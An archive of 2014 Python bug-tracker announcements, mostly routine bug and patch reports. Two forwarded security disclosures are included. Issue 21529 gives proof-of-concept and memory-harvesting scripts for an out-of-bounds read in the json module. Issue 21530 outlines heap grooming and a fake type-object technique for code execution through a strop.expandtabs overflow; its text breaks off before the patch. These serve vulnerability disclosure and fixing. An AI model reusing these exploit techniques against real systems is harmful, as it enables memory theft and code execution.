Date: Thu, 15 May 2014 21:24:37 +0000
Subject: [New-bugs-announce] [issue21513] speed up some ipaddress properties
Message-ID: <1400189077.88.0.327979647169.issue21513@psf.upfronthosting.co.za>


New submission from Antoine Pitrou:

Some properties on IPv4Address and IPv6Address instantiate one or several network objects each time they are computed. Instead these characteristic networks can be computed once and for all at module import. Patch attached.

(note: the lru_cache() decorator seems to mitigate this in micro-benchmarks, but the common pattern is not to call .is_private on always the same address :-))

----------
components: Library (Lib)
files: ipaddr_props.patch
keywords: patch
messages: 218630
nosy: ncoghlan, pitrou, pmoody, serhiy.storchaka
priority: normal
severity: normal
stage: patch review
status: open
title: speed up some ipaddress properties
type: performance
versions: Python 3.5
Added file: http://bugs.python.org/file35260/ipaddr_props.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21513>
_______________________________________

From report at bugs.python.org  Fri May 16 06:52:48 2014
From: report at bugs.python.org (Chris Rebert)
Date: Fri, 16 May 2014 04:52:48 +0000
Subject: [New-bugs-announce] [issue21514] update json module docs in light
	of RFC 7159 & ECMA-404
Message-ID: <1400215968.18.0.723032535405.issue21514@psf.upfronthosting.co.za>


New submission from Chris Rebert:

json module docs: https://docs.python.org/3/library/json.html

New superseding JSON RFC: https://tools.ietf.org/html/rfc7159
Errata to the new RFC: http://www.rfc-editor.org/errata_search.php?rfc=7159
ECMA-404: http://www.ecma-international.org/publications/standards/Ecma-404.htm

These updated specs are of particular relevance to the Standard Compliance section of the json module docs. There are also a bunch of new interoperability notes in the RFC that could probably bear repeating in the module's docs.

----------
assignee: docs at python
components: Documentation
messages: 218644
nosy: cvrebert, docs at python
priority: normal
severity: normal
status: open
title: update json module docs in light of RFC 7159 & ECMA-404
versions: Python 2.7, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21514>
_______________________________________

From report at bugs.python.org  Fri May 16 11:17:21 2014
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 16 May 2014 09:17:21 +0000
Subject: [New-bugs-announce] [issue21515] Use Linux O_TMPFILE flag in
	tempfile.TemporaryFile?
Message-ID: <1400231841.29.0.337128735098.issue21515@psf.upfronthosting.co.za>


New submission from STINNER Victor:

Linux 3.11 introduced a new file flag "O_TMPFILE". The flag is exposed in Python, see the issue #18673.

"O_TMPFILE is a new open(2)/openat(2) flag that makes easier the creation of secure temporary files. Files opened with the O_TMPFILE flag are created but they are not visible in the filesystem. And as soon as they are closed, they get deleted - just as a file you would have opened and unlinked."
http://kernelnewbies.org/Linux_3.11#head-8be09d59438b31c2a724547838f234cb33c40357

Does it make sense to use this flag in tempfile.TemporaryFile?

Attached patch is a work-in-progress patch for tempfile.

> if hasattr(_os, 'O_TMPFILE'):
>     _O_TMPFILE = _os.O_TMPFILE
> elif _sys.platform == 'linux':
>     __O_TMPFILE = 0o20000000
>     _O_TMPFILE = (__O_TMPFILE | _os.O_DIRECTORY)

The second if should be removed. I used it because my Linux kernel (3.14) supports the flag, but the constant is not defined yet in C headers of my C library (glibc 2.18).

> flags = (flags | _O_TMPFILE) & ~_os.O_CREAT

O_CREAT is incompatible with O_TMPFILE.

Bonus point of the flag: no need to compute a random name! Just pass the temporary directory.

To do: test the patch on Linux < 3.11 to see how the flag is interpreted. If the flag is ignored, we open the directory in write mode! That's insafe. If the flag raises an error, we should fallback to the current implementation and remember that the flag is not supported.

I implemented something similar for O_CLOEXEC and SOCK_CLOEXEC flags (PEP 433).

----------
files: tempfile_o_tmpfile.patch
keywords: patch
messages: 218648
nosy: haypo, neologix
priority: normal
severity: normal
status: open
title: Use Linux O_TMPFILE flag in tempfile.TemporaryFile?
versions: Python 3.5
Added file: http://bugs.python.org/file35261/tempfile_o_tmpfile.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21515>
_______________________________________

From report at bugs.python.org  Fri May 16 16:45:36 2014
From: report at bugs.python.org (Thomas Heller)
Date: Fri, 16 May 2014 14:45:36 +0000
Subject: [New-bugs-announce] [issue21516] pathlib.Path(...).is_dir() crashes
	on readonly	directories (Windows)
Message-ID: <1400251536.05.0.844143170662.issue21516@psf.upfronthosting.co.za>


New submission from Thomas Heller:

On Windows, pathlib.Path(...).is_dir() crashes on readonly directories while os.path.isdir(...) works fine.  Example on Windows7:

Python 3.4.0 (v3.4.0:04f714765c13, Mar 16 2014, 19:24:06) [MSC v.1600 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import os.path, pathlib
>>> os.path.isdir("c:\\Users\\admin")
True
>>> pathlib.Path("c:\\Users\\admin").is_dir()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "C:\Python34\lib\pathlib.py", line 1197, in is_dir
    return S_ISDIR(self.stat().st_mode)
  File "C:\Python34\lib\pathlib.py", line 1045, in stat
    return self._accessor.stat(self)
  File "C:\Python34\lib\pathlib.py", line 323, in wrapped
    return strfunc(str(pathobj), *args)
PermissionError: [WinError 5] Zugriff verweigert: 'c:\\Users\\admin'
>>>

This probably affects other methods that call stat() internally.

----------
components: Library (Lib)
messages: 218664
nosy: theller
priority: normal
severity: normal
status: open
title: pathlib.Path(...).is_dir() crashes on readonly directories (Windows)
type: crash
versions: Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21516>
_______________________________________

From report at bugs.python.org  Sat May 17 05:34:21 2014
From: report at bugs.python.org (Andrew Harrington)
Date: Sat, 17 May 2014 03:34:21 +0000
Subject: [New-bugs-announce] [issue21517] installer Python default setting
	fails with mac Python	Launcher
Message-ID: <1400297661.67.0.596645362447.issue21517@psf.upfronthosting.co.za>


New submission from Andrew Harrington:

I installed Python 3.4 on my Mac (OSX 10.9.2), with the option to make python 3.4 my default python3, so 
  
which python3

prints

/Library/Frameworks/Python.framework/Versions/3.4/bin/python3

which is fine.  A terminal then brings up python 3.4, fine.

However the Python Launcher uses /usr/bin/python3 and the Python 3,4 install script does not change that.  (I had it pointing to python 3.3 before, and it remained that way after installing Python 3.4.)

Since the Python Launcher is a pretty standard way to start Python, this would be nice to fix, or at least in the installer have a comment that the something more needs to be set!

----------
assignee: ronaldoussoren
components: Macintosh
messages: 218697
nosy: Andrew.Harrington, ronaldoussoren
priority: normal
severity: normal
status: open
title: installer Python default setting fails with mac Python Launcher
type: behavior
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21517>
_______________________________________

From report at bugs.python.org  Sat May 17 19:12:40 2014
From: report at bugs.python.org (Claudiu.Popa)
Date: Sat, 17 May 2014 17:12:40 +0000
Subject: [New-bugs-announce] [issue21518] Expose RegUnloadKey in winreg
Message-ID: <1400346760.52.0.0203244636304.issue21518@psf.upfronthosting.co.za>


New submission from Claudiu.Popa:

Hello. While working on issue8579, I noticed that there is no way to detach a key from the registry, loaded with LoadKey function. The attached patch exposes RegUnLoadKeyW as winreg.UnloadKey. Also, this patch adds a new script in the test folder, windows_helper.py, which could be an useful addition for testing Windows specific issues, like acquiring / releasing a privilege.

----------
components: Library (Lib)
files: winreg_unload_key.patch
keywords: patch
messages: 218708
nosy: Claudiu.Popa
priority: normal
severity: normal
status: open
title: Expose RegUnloadKey in winreg
type: enhancement
versions: Python 3.5
Added file: http://bugs.python.org/file35271/winreg_unload_key.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21518>
_______________________________________

From report at bugs.python.org  Sun May 18 07:54:15 2014
From: report at bugs.python.org (Saimadhav Heblikar)
Date: Sun, 18 May 2014 05:54:15 +0000
Subject: [New-bugs-announce] [issue21519] IDLE : Bug in keybinding validity
	check
Message-ID: <1400392455.89.0.13094614924.issue21519@psf.upfronthosting.co.za>


New submission from Saimadhav Heblikar:

Steps to reproduce the bug:
1. IDLE > options > configure idle > keys

2. Try to replace a keybinding for an action with that of another action which has more than one keybinding.
For eg : Default binding of copy=<Control-Key-c> <Control-Key-C>.
So, try to replace any other keybinding with <Control-Key-c>

3. This change is accepted

Now the <Control-Key-C> binding will be assigned to two actions.

This bug only applies if the other action has more than one binding.
In case the other action has only one binding, an error is raised(as expected).


Attaching a patch to fix this issue.

----------
components: IDLE
files: keybinding.diff
keywords: patch
messages: 218734
nosy: sahutd, terry.reedy
priority: normal
severity: normal
status: open
title: IDLE : Bug in keybinding validity check
type: behavior
versions: Python 2.7, Python 3.4
Added file: http://bugs.python.org/file35275/keybinding.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21519>
_______________________________________

From report at bugs.python.org  Sun May 18 08:46:00 2014
From: report at bugs.python.org (Larry Hastings)
Date: Sun, 18 May 2014 06:46:00 +0000
Subject: [New-bugs-announce] [issue21520] Erroneous zipfile test failure if
	the string 'bad'	appears in pwd
Message-ID: <1400395560.62.0.305002510991.issue21520@psf.upfronthosting.co.za>


New submission from Larry Hastings:

If you extract current Python (3.4 or trunk) into a directory, and anywhere in the name of the directory is the string "bad", such as

/tmp/badtest
/home/baddison/src/python

then test_write_filtered_python_package() in Lib/test/test_zipfile.py will fail.  The reason is, the third subtest uses a "filterfunc" to ignore certain files, and its test to ignore files is effectively

   "bad" in fn

("fn" is an ill-conceived abbreviation for "filename")

This is overbroad.  Changing it to

   "Lib/test/bad" in fn

prevents this error.

I'm creating this issue just to remind myself to fix it.  3.4.1 is tagged and I didn't want to re-cut the release, but I didn't feel like pushing it while 3.4.1 hadn't landed in trunk yet.

----------
assignee: larry
components: Tests
messages: 218735
nosy: larry
priority: normal
severity: normal
stage: needs patch
status: open
title: Erroneous zipfile test failure if the string 'bad' appears in pwd
type: behavior
versions: Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21520>
_______________________________________

From report at bugs.python.org  Sun May 18 10:55:40 2014
From: report at bugs.python.org (rovf)
Date: Sun, 18 May 2014 08:55:40 +0000
Subject: [New-bugs-announce] [issue21521] Tkinter + OSX + Spaces : Multiple
	file dialogues created
Message-ID: <1400403340.1.0.400733156313.issue21521@psf.upfronthosting.co.za>


New submission from rovf:

I'm running this on OSX 10.6 (SnowLeopard) with the OSX "Spaces" feature enabled (i.e. several virtual desktops).

This is my (complete) program:

from tkinter.filedialog import asksaveasfilename
pathname=asksaveasfilename(initialdir='.',title='gaga')

This has the following odd behaviours:

- The file dialogue opens, but when I switch to another space, the file dialogue is open there too, as a *separate* file dialogue. I.e., when I go back to the original space, select a file and exit the dialogue, my program continues running (for instance, when called from an interactive python shell, I get the prompt again), but on the other space, the dialogue is still open.

- I also noticed that the parameter initialdir='.' is NOT honoured, i.e. the file dialogue starts on the topmost directory.

BTW, the same behaviour is also in Python 2.6.

----------
components: Tkinter
messages: 218736
nosy: rovf
priority: normal
severity: normal
status: open
title: Tkinter + OSX + Spaces : Multiple file dialogues created
type: behavior
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21521>
_______________________________________

From report at bugs.python.org  Sun May 18 14:25:59 2014
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 18 May 2014 12:25:59 +0000
Subject: [New-bugs-announce] [issue21522] Add more tkinter tests
Message-ID: <1400415959.04.0.266142881924.issue21522@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

Here is a patch which adds tests for Listbox.itemconfigure(), PanedWindow.paneconfigure() and several tests for Menu.entryconfigure().

----------
assignee: serhiy.storchaka
components: Tests, Tkinter
files: test_tkinter_configure.patch
keywords: patch
messages: 218741
nosy: serhiy.storchaka
priority: normal
severity: normal
stage: patch review
status: open
title: Add more tkinter tests
type: enhancement
versions: Python 2.7, Python 3.4, Python 3.5
Added file: http://bugs.python.org/file35278/test_tkinter_configure.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21522>
_______________________________________

From report at bugs.python.org  Sun May 18 14:31:45 2014
From: report at bugs.python.org (Andrew Dalke)
Date: Sun, 18 May 2014 12:31:45 +0000
Subject: [New-bugs-announce] [issue21523] quadratic-time compilation in the
	number of 'and' or	'or' expressions
Message-ID: <1400416305.88.0.347488833998.issue21523@psf.upfronthosting.co.za>


New submission from Andrew Dalke:

Python's compiler has quadratic-time time behavior based on the number of "and" or "or" expressions. A profile shows that stackdepth_walk is calling itself in a stack at least 512 levels deep. (My profiler doesn't go higher than that.)

I've reduced it to a simple test case. Compiling functions of the form

    def f(x):
        x * x  # Repeat N times

takes linear time in the number of lines N, while functions of the form
        
    def g(x):
        x and x  # Repeat N times

takes quadratic time in N. Here's an example of running the attached demonstration code on a fresh build of Python from version control:

    Results from 3.5.0a0 (default:de01f7c37b53, May 18 2014, 13:18:43)  

      num    using  using
     tests    '*'   'and'
       100   0.002  0.002
       200   0.003  0.004
       400   0.005  0.010
       800   0.012  0.040
      1600   0.023  0.133
      3200   0.042  0.906
      6400   0.089  5.871
     12800   0.188  27.581
     25600   0.404  120.800

The same behavior occurs when I replace 'and' with 'or'.

The same behavior also occurs under Python 2.7.2, 3.3.5, 3.4.0. (I don't have builds of 3.1 or 3.2 for testing.)

However, the demonstration code shows linear time under Python 2.6.6:

    Results from 2.6.6 (r266:84374, Aug 31 2010, 11:00:51)  
    
      num    using  using
     tests    '*'   'and'
       100   0.003  0.001
       200   0.002  0.002
       400   0.006  0.008
       800   0.010  0.010
      1600   0.019  0.022
      3200   0.039  0.045
      6400   0.085  0.098
     12800   0.176  0.203
     25600   0.359  0.423
     51200   0.726  0.839

I came across this problem because my code imports a large machine-generated module. It was originally written for Python 2.6, where it worked just fine. When I tried to import it under new Pythons, the import appeared to hang, and I killed it after a minute or so.

As a work-around, I have re-written the code generator to use chained if-statements instead of the short-circuit and operator.

----------
components: Interpreter Core
files: quadratic_shortcircuit_compilation.py
messages: 218742
nosy: dalke
priority: normal
severity: normal
status: open
title: quadratic-time compilation in the number of 'and' or 'or' expressions
type: performance
versions: Python 2.7, Python 3.3, Python 3.4, Python 3.5
Added file: http://bugs.python.org/file35279/quadratic_shortcircuit_compilation.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21523>
_______________________________________

From report at bugs.python.org  Sun May 18 15:20:26 2014
From: report at bugs.python.org (jorispilot)
Date: Sun, 18 May 2014 13:20:26 +0000
Subject: [New-bugs-announce] [issue21524] Allowing to pass pathlib.Path
	object in	mimetypes.guess_type function
Message-ID: <1400419226.75.0.292765982231.issue21524@psf.upfronthosting.co.za>


Changes by jorispilot <jorispilot at gmail.com>:


----------
components: Library (Lib)
nosy: jorispilot
priority: normal
severity: normal
status: open
title: Allowing to pass pathlib.Path object in mimetypes.guess_type function
type: enhancement
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21524>
_______________________________________

From report at bugs.python.org  Sun May 18 18:04:31 2014
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 18 May 2014 16:04:31 +0000
Subject: [New-bugs-announce] [issue21525] Accept lists in Tkinter
Message-ID: <1400429071.94.0.00909655456626.issue21525@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

There is very common error when user pass list instead tuple to Tkinter. Some functions accept both tuple and list, some functions reject list, but many functions silently convert non-tuple value to str (e.g. [1, 2] -> '[1, 2]' instead of expected Tcl representation '{1 2}'). The proposed patch adds support of Python lists in all Tkinter functions which accept tuples.

----------
assignee: serhiy.storchaka
components: Tkinter
files: tkinter_accept_lists.patch
keywords: patch
messages: 218747
nosy: gpolo, loewis, serhiy.storchaka, terry.reedy
priority: normal
severity: normal
stage: patch review
status: open
title: Accept lists in Tkinter
type: enhancement
versions: Python 3.5
Added file: http://bugs.python.org/file35282/tkinter_accept_lists.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21525>
_______________________________________

From report at bugs.python.org  Sun May 18 22:41:31 2014
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 18 May 2014 20:41:31 +0000
Subject: [New-bugs-announce] [issue21526] Support new booleans in Tkinter
Message-ID: <1400445691.82.0.48051274053.issue21526@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

Recent Tcl versions (since 8.5) no longer use internal "boolean" type. Instead they use "booleanString" type (but looks as only internally). Here is a patch which add support for "booleanString" Tcl type in case when it leaks to user. There are no any new tests because there is no simple way (if any) to create pure Tcl boolean object.

----------
assignee: serhiy.storchaka
components: Tkinter
files: tkinter_newboolean.patch
keywords: patch
messages: 218755
nosy: gpolo, loewis, serhiy.storchaka
priority: normal
severity: normal
stage: patch review
status: open
title: Support new booleans in Tkinter
type: enhancement
versions: Python 3.5
Added file: http://bugs.python.org/file35284/tkinter_newboolean.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21526>
_______________________________________

From report at bugs.python.org  Mon May 19 00:47:47 2014
From: report at bugs.python.org (Claudiu.Popa)
Date: Sun, 18 May 2014 22:47:47 +0000
Subject: [New-bugs-announce] [issue21527]
	concurrent.futures.ThreadPoolExecutor does not use a	default value
Message-ID: <1400453267.44.0.909455514702.issue21527@psf.upfronthosting.co.za>


New submission from Claudiu.Popa:

As the title says, ThreadPoolExecutor does not use a default value for max_workers parameter, as ProcessPoolExecutor does. When the user does not care about the number of workers and wants only for something to run in background, he has to write code like this:

if processes:
   executor = ProcessPoolExecutor()
elif threads:
   executor = ThreadPoolExecutor(1) # or any other value

This situation can also occur when the class is passed as a factory function:

def create_pool(executor_factory):
   if executor_factory is process pool:
       executor = executor_factory()
   else:
       executor = executor_factory(1)

This patch proposes using the number of cores as the default value for max_workers.
For instance, multiprocessing.pool.ThreadPool uses the same value.

----------
components: Library (Lib)
files: concurrent_futures_workers.patch
keywords: patch
messages: 218763
nosy: Claudiu.Popa, bquinlan
priority: normal
severity: normal
status: open
title: concurrent.futures.ThreadPoolExecutor does not use a default value
type: enhancement
versions: Python 3.5
Added file: http://bugs.python.org/file35287/concurrent_futures_workers.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21527>
_______________________________________

From report at bugs.python.org  Mon May 19 01:49:07 2014
From: report at bugs.python.org (Alex Gaynor)
Date: Sun, 18 May 2014 23:49:07 +0000
Subject: [New-bugs-announce] [issue21528] Fix a number of typos in the
	documentation
Message-ID: <1400456947.04.0.361173205763.issue21528@psf.upfronthosting.co.za>


New submission from Alex Gaynor:

Attached patch is against the default branch, and fixes a number of typos.

----------
assignee: docs at python
components: Documentation
files: typos.diff
keywords: needs review, patch
messages: 218769
nosy: alex, docs at python
priority: normal
severity: normal
status: open
title: Fix a number of typos in the documentation
versions: Python 3.5
Added file: http://bugs.python.org/file35289/typos.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21528>
_______________________________________

From report at bugs.python.org  Mon May 19 02:40:59 2014
From: report at bugs.python.org (Benjamin Peterson)
Date: Mon, 19 May 2014 00:40:59 +0000
Subject: [New-bugs-announce] [issue21529] JSON module: reading arbitrary
	process memory
Message-ID: <1400460059.59.0.206542140717.issue21529@psf.upfronthosting.co.za>


New submission from Benjamin Peterson:

(Copy paste from the security list)

Python 2 and 3 are susceptible to arbitrary process memory reading by
a user or adversary due to a bug in the _json module caused by
insufficient bounds checking.

The sole prerequisites of this attack are that the attacker is able to
control or influence the two parameters of the default scanstring
function: the string to be decoded and the index.

The bug is caused by allowing the user to supply a negative index
value. The index value is then used directly as an index to an array
in the C code; internally the address of the array and its index are
added to each other in order to yield the address of the value that is
desired. However, by supplying a negative index value and adding this
to the address of the array, the processor's register value wraps
around and the calculated value will point to a position in memory
which isn't within the bounds of the supplied string, causing the
function to access other parts of the process memory.

Let me clarify:

This is Python-3.4.0/Modules/_json.c:

1035 static PyObject *
1036 scanner_call(PyObject *self, PyObject *args, PyObject *kwds)
1037 {
1038     /* Python callable interface to scan_once_{str,unicode} */
1039     PyObject *pystr;
1040     PyObject *rval;
1041     Py_ssize_t idx;
1042     Py_ssize_t next_idx = -1;
1043     static char *kwlist[] = {"string", "idx", NULL};
1044     PyScannerObject *s;
1045     assert(PyScanner_Check(self));
1046     s = (PyScannerObject *)self;
1047     if (!PyArg_ParseTupleAndKeywords(args, kwds, "On:scan_once",
kwlist, &pystr, &idx))
1048         return NULL;
1049
1050     if (PyUnicode_Check(pystr)) {
1051         rval = scan_once_unicode(s, pystr, idx, &next_idx);
1052     }
1053     else {
1054         PyErr_Format(PyExc_TypeError,
1055                  "first argument must be a string, not %.80s",
1056                  Py_TYPE(pystr)->tp_name);
1057         return NULL;
1058     }
1059     PyDict_Clear(s->memo);
1060     if (rval == NULL)
1061         return NULL;
1062     return _build_rval_index_tuple(rval, next_idx);
1063 }

As you can see on line 1047, ParseTuple takes an 'n' as an argument
for 'end', which, as can be learned from this page (
https://docs.python.org/3/c-api/arg.html ), means:

        n (int) [Py_ssize_t]
            Convert a Python integer to a C Py_ssize_t.

This means it accepts a SIGNED integer value, thus allowing a negative
value to be supplied as the 'end' parameter.

Then onto scanstring_unicode_once to which execution gets transferred
through line 1051 of the code above.

922  static PyObject *
923  scan_once_unicode(PyScannerObject *s, PyObject *pystr, Py_ssize_t
idx, Py_ssize_t *next_idx_ptr)
924  {
925      /* Read one JSON term (of any kind) from PyUnicode pystr.
926      idx is the index of the first character of the term
927      *next_idx_ptr is a return-by-reference index to the first
character after
928          the number.
929
930      Returns a new PyObject representation of the term.
931      */
932      PyObject *res;
933      void *str;
934      int kind;
935      Py_ssize_t length;
936
937      if (PyUnicode_READY(pystr) == -1)
938          return NULL;
939
940      str = PyUnicode_DATA(pystr);
941      kind = PyUnicode_KIND(pystr);
942      length = PyUnicode_GET_LENGTH(pystr);
943
944      if (idx >= length) {
945          raise_stop_iteration(idx);
946          return NULL;
947      }

Here we see that 'length' is set to the length of the string
parameter. This will always be a positive value. On line 945 it is
checked whether idx is equal or higher than length; this can never be
true in the case of a negative index value.

949      switch (PyUnicode_READ(kind, str, idx)) {

PyUnicode_READ is defined as follows ( in
Python-3.4.0/Include/unicodeobject.h ):

516  /* Read a code point from the string's canonical representation.  No checks
517     or ready calls are performed. */
518  #define PyUnicode_READ(kind, data, index) \
519      ((Py_UCS4) \
520      ((kind) == PyUnicode_1BYTE_KIND ? \
521          ((const Py_UCS1 *)(data))[(index)] : \
522          ((kind) == PyUnicode_2BYTE_KIND ? \
523              ((const Py_UCS2 *)(data))[(index)] : \
524              ((const Py_UCS4 *)(data))[(index)] \
525          ) \
526      ))

Here we can see that index, which is negative in our example, is used
as an array index. Since it is negative, it will internally wrap
around and point to an address BELOW the address of 'data'.

So, if a certain negative value (such as -0x7FFFFFFF) is supplied and
data[index] will effectively point to an invalid or read-protected
page in memory, the Python executable will segfault.

But there's more. Instead of making it point to an invalid page, let's
make it point to something valid:

1    from json import JSONDecoder
2    j = JSONDecoder()
3    a = "99448866"
4    b = "88445522"
5    diff = id(a) - id(b)
6    print("Difference is " + hex(diff))
7    print j.raw_decode(b)
8    print j.raw_decode(b, diff)

Output of this script is:

Difference is -0x30
(88445522, 8)
(99448866, -40)

The difference between the address of 'a' and the address of 'b' is
calculated and supplied as an index to the raw_decode function.
Internally the address wraps around and we get to see the contents of
'a' while having supplied 'b' as a parameter.

We can use this harvester to scan memory for valid JSON strings:

1    from json import JSONDecoder
2    j = JSONDecoder()
3    a = "x" * 1000
4    for x in range(0, 600000):
5        try:
6            print j.raw_decode(a, 0 - x)
7        except:
8            pass

There is one drawback, however. We cannot decode strings in this manner because:

296  static PyObject *
297  scanstring_unicode(PyObject *pystr, Py_ssize_t end, int strict,
Py_ssize_t *next_end_ptr)
298  {
299      /* Read the JSON string from PyUnicode pystr.
300      end is the index of the first character after the quote.
301      if strict is zero then literal control characters are allowed
302      *next_end_ptr is a return-by-reference index of the character
303          after the end quote
304
305      Return value is a new PyUnicode
306      */
307      PyObject *rval = NULL;
308      Py_ssize_t len;
309      Py_ssize_t begin = end - 1;
310      Py_ssize_t next /* = begin */;
311      const void *buf;
312      int kind;
313      PyObject *chunks = NULL;
314      PyObject *chunk = NULL;
315
316      if (PyUnicode_READY(pystr) == -1)
317          return 0;
318
319      len = PyUnicode_GET_LENGTH(pystr);
320      buf = PyUnicode_DATA(pystr);
321      kind = PyUnicode_KIND(pystr);
322
323      if (end < 0 || len < end) {
324          PyErr_SetString(PyExc_ValueError, "end is out of bounds");
325          goto bail;

this code actually performs a bounds check by asserting that end
(which is our index) isn't negative.

However, I succesfully ran harvesting tests that could extract
JSON-encoded arrays of numerical values (such as [10, 20, 40, 70] )
from the process memory without any problem or difficulty.

Given the ubiquity of JSON parsing in Python applications and the
limited amount of prequisites and conditions under which this bug can
be exploited, it is evident that this issue could have serious
security implications in some cases.

Here is a patch for 3.4.0:

--- _json_old.c    2014-04-12 17:47:08.749012372 +0200
+++ _json.c    2014-04-12 17:44:52.253011645 +0200
@@ -941,7 +941,7 @@
     kind = PyUnicode_KIND(pystr);
     length = PyUnicode_GET_LENGTH(pystr);

-    if (idx >= length) {
+    if ( idx < 0 || idx >= length) {
         raise_stop_iteration(idx);
         return NULL;
     }

And here is a patch for 2.7.6:

--- _json_old.c    2014-04-12 17:57:14.365015601 +0200
+++ _json.c    2014-04-12 18:04:25.149017898 +0200
@@ -1491,7 +1491,7 @@
     PyObject *res;
     char *str = PyString_AS_STRING(pystr);
     Py_ssize_t length = PyString_GET_SIZE(pystr);
-    if (idx >= length) {
+    if ( idx < 0 || idx >= length) {
         PyErr_SetNone(PyExc_StopIteration);
         return NULL;
     }
@@ -1578,7 +1578,7 @@
     PyObject *res;
     Py_UNICODE *str = PyUnicode_AS_UNICODE(pystr);
     Py_ssize_t length = PyUnicode_GET_SIZE(pystr);
-    if (idx >= length) {
+    if ( idx < 0 || idx >= length) {
         PyErr_SetNone(PyExc_StopIteration);
         return NULL;
     }


Here is a script that checks whether the Python binary that executes
it is vulnerable:

1    from json import JSONDecoder
2    j = JSONDecoder()
3
4    a = '128931233'
5    b = "472389423"
6
7    if id(a) < id(b):
8        x = a
9        y = b
10   else:
11       x = b
12       y = a
13
14   diff = id(x) - id(y)
15
16   try:
17       j.raw_decode(y, diff)
18       print("Vulnerable")
19   except:
20       print("Not vulnerable")


Please let me know what your thoughts on this are and when you think
it will be fixed. Thank you.

Note: I haven't shared this vulnerability with anyone and I won't do
so until the bug has been fixed.

Guido Vranken

----------
components: Extension Modules, Library (Lib)
messages: 218771
nosy: benjamin.peterson
priority: critical
severity: normal
status: open
title: JSON module: reading arbitrary process memory
type: security
versions: Python 2.7, Python 3.1, Python 3.2, Python 3.3, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21529>
_______________________________________

From report at bugs.python.org  Mon May 19 02:45:05 2014
From: report at bugs.python.org (Benjamin Peterson)
Date: Mon, 19 May 2014 00:45:05 +0000
Subject: [New-bugs-announce] [issue21530] Integer overflow in strop
Message-ID: <1400460305.46.0.189795458549.issue21530@psf.upfronthosting.co.za>


New submission from Benjamin Peterson:

(copy paste from security list)

"""
Integer overflow in strop.expandtabs:

Aside:
I took a look at python over the weekend as I saw the
the Internet Bug Bounty [ https://hackerone.com/python ]
are now offering bounties for security bugs + patches for
python.

It's quite unclear from their site what they consider to be
a valid bug under their program (they say 'arbitrary code
execution' but I guess just saying "ctypes" would be cheating.)

Anyway, here's a bug in a string handling function which might be
reachable in some "sandboxed python" environments, and maybe
(at a stretch) remotely if someone were to offer
"expanding-tabs-in-strings"-as-a-service...

Bug:

Modules/stropmodule.c

static PyObject *
strop_expandtabs(PyObject *self, PyObject *args)
...
  i = j = old_j = 0;
  e = string + stringlen;
  for (p = string; p < e; p++) {
      if (*p == '\t') {
          j += tabsize - (j%tabsize);
          if (old_j > j) {
              PyErr_SetString(PyExc_OverflowError,
                              "new string is too long");
              return NULL;
          }
          old_j = j;
      } else {
          j++;
          if (*p == '\n') {
              i += j;               <-- missing check here
              j = 0;
          }
      }
  }
...
  out = PyString_FromStringAndSize(NULL, i+j);
...
  i = 0;
  q = PyString_AS_STRING(out);

  for (p = string; p < e; p++) {
      if (*p == '\t') {
          j = tabsize - (i%tabsize);
          i += j;
          while (j-- > 0)
              *q++ = ' ';
      } else {
          *q++ = *p;
          i++;
          if (*p == '\n')
              i = 0;
      }
  }
...

There's no check preventing i from overflowing, meaning that a
string consisting of multiple tabs spread over multiple lines
combined with a large tabsize can cause the allocation of an
undersized string buffer.

With some simple heap manipulation the length of the copy into
this buffer can be controlled, and it's pretty easy to corrupt
memory in such a way as to gain native code execution:

[h1|----------][h2|\t\n\t\n....][h3|----------]

h1: PyStringObject header of undersized buffer
h2: PyStringObject header of tabstring

By grooming the heap such that this allocation pattern is
achieved when the expandtabs function starts expanding the h2 string
into the h1 inline buffer it will overflow into the string being
expanded, overwriting the tabs in the original string with spaces
so that the second loop won't expand them anymore.

By carefully crafting the string to expand and choosing the tabsize
you can limit the extent of the memory corruption to chosen objects.

Getting code execution is simply a matter of pointing the ob_type
field of the h2 string header to a controlled address with a fake
struct _typeobject. The struct contains the following function pointers
which will be called when their corrisponing python function
is called:

  destructor tp_dealloc;
  printfunc tp_print;
  getattrfunc tp_getattr;
  setattrfunc tp_setattr;
  cmpfunc tp_compare;
  reprfunc tp_repr;

Run this email as a script for a very simple crashing PoC for 32-bit python 2.7
which should crash at at address near 0x20202020 (since the ob_type field
will be overwritten with spaces.) No idea if the heap manipulation used
here will work on other platforms but it should be easy to do.


Patch:
You've actually already patched this bug in a copy-and-paste version of
this function... In fact there seem to be at least three versions of expandtabs;
transmogrify.h and stropmodule.c are both vulnerable; stringobject.c isn't. I'm
not familiar enough with the code to know when each version will be used.

The patch is to use the stringobject.c implementation which does the overflow
check correctly, but here's a quick patch (for the 2.7 branch) which will do
the job:

